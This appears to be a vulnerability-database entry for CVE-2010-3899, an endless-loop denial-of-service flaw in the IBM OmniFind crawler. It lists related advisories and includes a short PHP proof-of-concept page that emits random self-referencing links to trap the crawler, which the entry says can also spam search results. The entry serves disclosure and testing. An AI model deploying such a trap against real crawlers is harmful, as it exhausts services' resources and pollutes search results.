IBM OmniFind Crawler - Denial of Service
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | IBM OmniFind Crawler Denial of Service Vulnerability | 10 Nov 201000:00 | – | zdt |
 | CVE-2010-3899 | 12 Nov 201021:00 | – | cve |
 | CVE-2010-3899 | 12 Nov 201021:00 | – | cvelist |
 | IBM OmniFind Crawler - Denial of Service | 9 Nov 201000:00 | – | exploitpack |
 | CVE-2010-3899 | 12 Nov 201022:00 | – | nvd |
 | IBM OmniFind Cross Site Scripting / Privilege Escalation | 10 Nov 201000:00 | – | packetstorm |
 | Design/Logic Flaw | 12 Nov 201022:00 | – | prion |
 | IBM OmniFind - several vulnerabilities | 18 Nov 201000:00 | – | securityvulns |
| Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl) | 18 Nov 201000:00 | – | securityvulns |
 | IBM OmniFind Crawler Denial of Service Vulnerability | 1 Jul 201400:00 | – | seebug |
* Crawler endless loop (CVE-2010-3899)
The crawler has no recursion depth limit. A site with dynamic parameter manipulation can
cause an endless loop. This loop will block the crawler thread and use permanent server
resources. Too many blocks can lead to a denial of service. The same site will be
indexed more times and the search results will display the same site many times. This
can be abused for spamming the search results.
Exploit to test the endless loop:
/* loop.php */
<?php
$numb = rand();
echo $numb.'<br><a href="loop.php?value='.$numb.'">click me</a>';
?>Data
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09 Nov 2010 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.03148